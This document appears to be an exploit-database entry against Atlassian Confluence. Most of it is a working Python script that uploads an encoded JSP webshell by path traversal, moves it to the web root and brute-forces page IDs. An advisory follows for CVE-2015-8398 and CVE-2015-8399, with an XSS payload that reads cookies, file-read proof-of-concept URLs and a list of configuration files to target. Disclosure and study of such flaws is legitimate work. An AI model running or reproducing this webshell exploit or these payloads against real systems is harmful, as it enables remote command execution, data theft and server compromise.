AwNkRcdTAwNjVcdTAwNzRcdTAwNjVcdTAwNzJcdTAwMjhcdTAwMjJcdTAwNjNcdTAwNkRcdTAwNjRc \
dTAwMjJcdTAwMjlcdTAwN0RcdTAwM0JcdTAwMEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMj \
BcdTAwMjBcdTAwMjBcdTAwMjBcdTAwNTBcdTAwNzJcdTAwNkZcdTAwNjNcdTAwNjVcdTAwNzNcdTAw \
NzNcdTAwMjBcdTAwNzBcdTAwMjBcdTAwM0RcdTAwMjBcdTAwNTJcdTAwNzVcdTAwNkVcdTAwNzRcdT \
AwNjlcdTAwNkRcdTAwNjVcdTAwMkVcdTAwNjdcdTAwNjVcdTAwNzRcdTAwNTJcdTAwNzVcdTAwNkVc \
dTAwNzRcdTAwNjlcdTAwNkRcdTAwNjVcdTAwMjhcdTAwMjlcdTAwMkVcdTAwNjVcdTAwNzhcdTAwNj \
VcdTAwNjNcdTAwMjhcdTAwNjNcdTAwNkZcdTAwNkRcdTAwNkRcdTAwNjFcdTAwNkVcdTAwNjRcdTAw \
MjlcdTAwM0JcdTAwMEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdT \
AwMjBcdTAwNEZcdTAwNzVcdTAwNzRcdTAwNzBcdTAwNzVcdTAwNzRcdTAwNTNcdTAwNzRcdTAwNzJc \
dTAwNjVcdTAwNjFcdTAwNkRcdTAwMjBcdTAwNkZcdTAwNzNcdTAwMjBcdTAwM0RcdTAwMjBcdTAwNz \
BcdTAwMkVcdTAwNjdcdTAwNjVcdTAwNzRcdTAwNEZcdTAwNzVcdTAwNzRcdTAwNzBcdTAwNzVcdTAw \
NzRcdTAwNTNcdTAwNzRcdTAwNzJcdTAwNjVcdTAwNjFcdTAwNkRcdTAwMjhcdTAwMjlcdTAwM0JcdT \
AwMEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwNDlc \
dTAwNkVcdTAwNzBcdTAwNzVcdTAwNzRcdTAwNTNcdTAwNzRcdTAwNzJcdTAwNjVcdTAwNjFcdTAwNk \
RcdTAwMjBcdTAwNjlcdTAwNkVcdTAwMjBcdTAwM0RcdTAwMjBcdTAwNzBcdTAwMkVcdTAwNjdcdTAw \
NjVcdTAwNzRcdTAwNDlcdTAwNkVcdTAwNzBcdTAwNzVcdTAwNzRcdTAwNTNcdTAwNzRcdTAwNzJcdT \
AwNjVcdTAwNjFcdTAwNkRcdTAwMjhcdTAwMjlcdTAwM0JcdTAwMEFcdTAwMjBcdTAwMjBcdTAwMjBc \
dTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwNDRcdTAwNjFcdTAwNzRcdTAwNjFcdTAwND \
lcdTAwNkVcdTAwNzBcdTAwNzVcdTAwNzRcdTAwNTNcdTAwNzRcdTAwNzJcdTAwNjVcdTAwNjFcdTAw \
NkRcdTAwMjBcdTAwNjRcdTAwNjlcdTAwNzNcdTAwMjBcdTAwM0RcdTAwMjBcdTAwNkVcdTAwNjVcdT \
AwNzdcdTAwMjBcdTAwNDRcdTAwNjFcdTAwNzRcdTAwNjFcdTAwNDlcdTAwNkVcdTAwNzBcdTAwNzVc \
dTAwNzRcdTAwNTNcdTAwNzRcdTAwNzJcdTAwNjVcdTAwNjFcdTAwNkRcdTAwMjhcdTAwNjlcdTAwNk \
VcdTAwMjlcdTAwM0JcdTAwMEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAw \
MjBcdTAwMjBcdTAwNTNcdTAwNzRcdTAwNzJcdTAwNjlcdTAwNkVcdTAwNjdcdTAwMjBcdTAwNjRcdT \
AwNjlcdTAwNzNcdTAwNzJcdTAwMjBcdTAwM0RcdTAwMjBcdTAwNjRcdTAwNjlcdTAwNzNcdTAwMkVc \
dTAwNzJcdTAwNjVcdTAwNjFcdTAwNjRcdTAwNENcdTAwNjlcdTAwNkVcdTAwNjVcdTAwMjhcdTAwMj \
lcdTAwM0JcdTAwMEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAw \
MjBcdTAwNzdcdTAwNjhcdTAwNjlcdTAwNkNcdTAwNjVcdTAwMjBcdTAwMjhcdTAwMjBcdTAwNjRcdT \
AwNjlcdTAwNzNcdTAwNzJcdTAwMjBcdTAwMjFcdTAwM0RcdTAwMjBcdTAwNkVcdTAwNzVcdTAwNkNc \
dTAwNkNcdTAwMjBcdTAwMjlcdTAwMjBcdTAwN0JcdTAwMEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMj \
BcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAw \
MjBcdTAwMjBcdTAwMjBcdTAwNkZcdTAwNzVcdTAwNzRcdTAwMkVcdTAwNzBcdTAwNzJcdTAwNjlcdT \
AwNkVcdTAwNzRcdTAwNkNcdTAwNkVcdTAwMjhcdTAwNjRcdTAwNjlcdTAwNzNcdTAwNzJcdTAwMjlc \
dTAwM0JcdTAwMjBcdTAwNjRcdTAwNjlcdTAwNzNcdTAwNzJcdTAwMjBcdTAwM0RcdTAwMjBcdTAwNj \
RcdTAwNjlcdTAwNzNcdTAwMkVcdTAwNzJcdTAwNjVcdTAwNjFcdTAwNjRcdTAwNENcdTAwNjlcdTAw \
NkVcdTAwNjVcdTAwMjhcdTAwMjlcdTAwM0JcdTAwMjBcdTAwN0RcdTAwMEFcdTAwMjBcdTAwMjBcdT \
AwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwN0QKJT4KPC9wcmU+CjwvQk9EWT48 \
L0hUTUw+'
session = requests.session()
#proxies = {
# 'http': 'http://127.0.0.1:8080',
# 'https': 'https://127.0.0.1:8080'
#}

def do_authenticate():
	global ATLTOKEN
	auth_form_data = {
		'os_username': USERNAME,
		'os_password': PASSWORD,
		'login': 'Log+in',
		'os_destination': ''
	}

	r = session.post(LOGINURL, data=auth_form_data, allow_redirects=True, verify=False)#, proxies=proxies)
	
	if r.text.find('re-enter your login') != -1:
		print 'Authentication failed'
		return 0			
	elif r.text.find('Sorry, your username and/or password are incorrect') != -1:
		print 'Authentication failed'
		return 0
	elif r.text.find('Unauthorized') != -1:
		print 'Unauthorized'
		return 0
	else:
		print 'Authentication successful'

	soup = BeautifulSoup(r.text, 'html.parser')
	ATLTOKEN = soup.find('meta', {'id': 'atlassian-token'})['content']
	print 'Atlassian token %s' % (ATLTOKEN)
	return 1

def do_upload(_pageid):
	if OS == 'Windows':
		upload_form_data = SHELLCODE_WINDOWS

		upload_req_params = {
			'pageId': _pageid,
			'filename': '../../../../../../../../../../' + ROOTFOLDER + 'assist.jsp',
			'size': '3474',
			'mimeType': 'text/plain',
			'spaceKey': 'isis',
			'atl_token': ATLTOKEN,
			'name': 'assist'
		}
	elif OS == 'Linux':

		upload_form_data = SHELLCODE_LINUX
		upload_req_params = {
			'pageId': _pageid,
			'filename': '../../../../../../../../../../' + ROOTFOLDER + 'assist.jsp',
			'size': '3516',
			'mimeType': 'text/plain',
			'spaceKey': 'isis',
			'atl_token': ATLTOKEN,
			'name': 'assist'
		}

	print 'Uploading webshell'
	r = session.post(UPLOADURL, params=upload_req_params, data=base64.decodestring(upload_form_data), allow_redirects=True, verify=False)#, proxies=proxies)
	if r.status_code == 200 and r.text.find('actionErrors') == -1:
		print 'Webshell uploaded'
		return 1		
	else:
		print 'Error while uploading webshell'
		return 0

def do_downloadall(_pageid):
	downloadall_req_params = {
		'pageId': _pageid
	}
	print 'Moving webshell to the root directory of the web server'
	r = session.get(DOWNLOADALLURL, params=downloadall_req_params, allow_redirects=True, verify=False)#, proxies=proxies)
	r = session.get(WEBSHELLURL, allow_redirects=True, verify=False)#, proxies=proxies)

	if r.status_code == 200:
		print 'Webshell found' 
		print 'Visit %s' % WEBSHELLURL
		return 1
	else:
		print 'Webshell not found'
		return 0
def do_getspaces():
	print 'Getting spaces'
	r = session.get(VIEWSPACESURL, allow_redirects=True, verify=False)#, proxies=proxies)
	spacelist = re.findall(r'\"key\":\"(\w+)\"', r.text)
	return spacelist

def do_createspace():
	print 'Creating space'
	upload_form_data = json.dumps({
		"key": "TST1",
		"name": "Example space",
		"description": {
			"plain": {
			"value": "This is an example space",
			"representation": "plain"
			}
		},
		"metadata": {}
	})

	headers = {
		'Content-Type': 'application/json'
	}
	r = session.post(VIEWSPACESURL, data=upload_form_data, headers=headers, allow_redirects=True, verify=False)#, proxies=proxies)

	matched = re.match(".*\"key\":\"(\w+)\".*", r.text)
	if matched:
		print 'Space created'
		return matched.group(1)
	else:
		print 'Space not created'
		return 0

def do_createpage(space):
	global PAGEID
	print 'Trying %s space' % (space)
	r = session.get(CREATEPAGEURL+space, allow_redirects=True, verify=False)#, proxies=proxies)
	if r.status_code == 200 and r.text.find('ajs-draft-id') != -1:
		soup = BeautifulSoup(r.text, 'html.parser')
		pageid = soup.find('meta', {'name': 'ajs-draft-id'})['content']
		pageid_pattern = re.compile("^(\d+)$")
		if pageid_pattern.match(pageid):		
			PAGEID = pageid
			print 'Page ID created %s' % (pageid)
			return 1
		else:
			print 'Unexpected Page ID format'
			return 0
	else:
		print 'Page ID not created'
		return 0	


def main():
	if do_authenticate() != 1:
		exit()
	
	if PAGEID != '':
		if PAGEID == '0':
			spaces = do_getspaces()
			for sp in spaces:
				if do_createpage(sp) == 1:
					if do_upload(PAGEID) != 1:
						continue
					if do_downloadall(PAGEID) != 1:
						continue
					else:
						exit()
			new_sp = do_createspace()
			if new_sp != 0:
				if do_createpage(new_sp) == 1:
					if do_upload(PAGEID) != 1:
						exit()
					if do_downloadall(PAGEID) != 1:
						exit()
					exit()
				else:
					exit()
			else:
				exit()
		if do_upload(PAGEID) != 1:
			exit()
		if do_downloadall(PAGEID) != 1:
			exit()
	else:
		ID = PAGEID_RANGE_START
		while ID <= PAGEID_RANGE_END:
			print 'Trying Page Id %d' % (ID)
			if do_upload(ID) == 1:
				if do_downloadall(ID) == 1:
					break
			ID += 1

if __name__ == "__main__":
    main()
            
[Systems Affected]
    Product              :    Confluence
    Company            :    Atlassian
    Versions (1)        :    5.2 / 5.8.14 / 5.8.15
    CVSS Score (1)  :    6.1 / Medium (classified by vendor)
    Versions (2)        :    5.9.1 / 5.8.14 / 5.8.15
    CVSS Score (2)  :    7.7 / High (classified by vendor)


[Product Description]
    Confluence is team collaboration software, where you create,
organize and discuss work with your team. it is developed and marketed
by Atlassian.


[Vulnerabilities]
    Two vulnerabilities were identified within this application:
    (1) Reflected Cross-Site Scripting (CVE-2015-8398)
    (2) Insecure Direct Object Reference (CVE-2015-8399)


[Advisory Timeline]
    26/Oct/2015 - Discovery and vendor notification
    26/Oct/2015 - Vendor replied for Cross-Site Scripting (SEC-490)
    26/Oct/2015 - Issue CONF-39689 created
    27/Oct/2015 - Vendor replied for Insecure Direct Object Reference
(SEC-491 / SEC-492)
    27/Oct/2015 - Issue CONF-39704 created
    16/Nov/2015 - Vendor confirmed that Cross-Site Scripting was fixed
    19/Nov/2015 - Vendor confirmed that Insecure Direct Object
Reference was fixed


[Patch Available]
    According to the vendor, upgrade to Confluence version 5.8.17


[Description of Vulnerabilities]
    (1) Reflected Cross-Site Scripting
        An unauthenticated reflected Cross-site scripting was found in
the REST API. The vulnerability is located at
/rest/prototype/1/session/check/ and the payload used is <img src=a
onerror=alert(document.cookie)>

        [References]
            CVE-2015-8398 / SEC-490 / CONF-39689

        [PoC]
            http://<Confluence
Server>/rest/prototype/1/session/check/something%3Cimg%20src%3da%20onerror%3dalert%28document.cookie%29%3E


    (2) Insecure Direct Object Reference
        Two instances of Insecure Direct Object Reference were found
within the application, that allows any authenticated user to read
configuration files from the application

        [References]
            CVE-2015-8399 / SEC-491 / SEC-492 / CONF-39704

        [PoC]
            http://<Confluence
Server>/spaces/viewdefaultdecorator.action?decoratorName=<FILE>
            http://<Confluence
Server>/admin/viewdefaultdecorator.action?decoratorName=<FILE>

            This is an example of accepted <FILE> parameters
            /WEB-INF/decorators.xml
            /WEB-INF/glue-config.xml
            /WEB-INF/server-config.wsdd
            /WEB-INF/sitemesh.xml
            /WEB-INF/urlrewrite.xml
            /WEB-INF/web.xml
            /databaseSubsystemContext.xml
            /securityContext.xml
            /services/statusServiceContext.xml
            com/atlassian/confluence/security/SpacePermission.hbm.xml
            com/atlassian/confluence/user/OSUUser.hbm.xml
            com/atlassian/confluence/security/ContentPermissionSet.hbm.xml
            com/atlassian/confluence/user/ConfluenceUser.hbm.xml

-- 
S3ba
@s3bap3
linkedin.com/in/s3bap3